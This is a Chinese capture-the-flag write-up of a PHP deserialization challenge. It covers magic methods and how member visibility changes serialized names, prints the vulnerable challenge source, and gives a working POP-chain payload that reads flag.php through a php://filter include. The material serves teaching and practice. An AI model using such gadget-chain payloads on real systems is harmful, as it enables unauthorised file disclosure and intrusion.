| 
 前言简单题但是自己做了挺久的。。,不过途中找到了好像是出题大佬的博客:https://ieki.xyz/ 
 前置知识①伪协议  
 php://filter/read=convert.base64-encode/resource=index.php ②php的魔术方法  
 __construct()//创建对象时触发__destruct() //对象被销毁时触发
 __call() //在对象上下文中调用不可访问的方法时触发
 __callStatic() //在静态上下文中调用不可访问的方法时触发
 __get() //用于从不可访问的属性读取数据
 __set() //用于将数据写入不可访问的属性
 __isset() //在不可访问的属性上调用isset()或empty()触发
 __unset() //在不可访问的属性上使用unset()时触发
 __invoke() //当脚本尝试将对象调用为函数时触发
 __sleep() //执行serialize时调用
 __wakeup() //执行unserialize时调用
 __toString() //当反序列化后的对象被输出在模板中的时候(转换成字符串的时候)自动调用
 以上的魔术方法调用情况要熟记于心!!! ③public、protected、private在序列化后的不同点  
 区别只在于对变量名添加了标记:public无标记,变量名不变,长度不变: s:2:“op”;i:2;
 protected在变量名前添加标记\00*\00,长度+3: s:5:"\00*\00op";i:2;
 private在变量名前添加标记\00(classname)\00,长度+2+类名长度: s:17:"\00FileHandler_Z\00op";i:2;
 总结+注意在url中是需要修改的:  
 public:不需要修改protected:%00*%00属性名
 private:%00类名%00属性名
 
 解题过程有源码且思路如下:  <?php
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}
class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
        
    }
	
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
        
            echo "hacker";
            $this->source = "index.php";
        }
    }
}
class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }
    public function __get($key){
        $function = $this->p;
        
        return $function();
    }
}
if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 
 反序列化payload: <?php
class Modifier {
    protected  $var="php://filter/convert.base64-encode/resource=flag.php";
}
class Show{
    public $source;
    public $str;
    
}
class Test{
    public $p;
}
$m=new Modifier;
$s=new Show;
$t=new Test;
$s->source=$s;
$s->str=$t;
$t->p=$m;
echo(serialize($s));
?>
 构造:?pop=O:4:“Show”:2:{s:6:“source”;r:1;s:3:“str”;O:4:“Test”:1:{s:1:“p”;O:8:“Modifier”:1:{s:6:"%00*%00var";s:52:“php://filter/convert.base64-encode/resource=flag.php”;}}}  
 
 
 总结学习永无止境o(╥﹏╥)o!!! |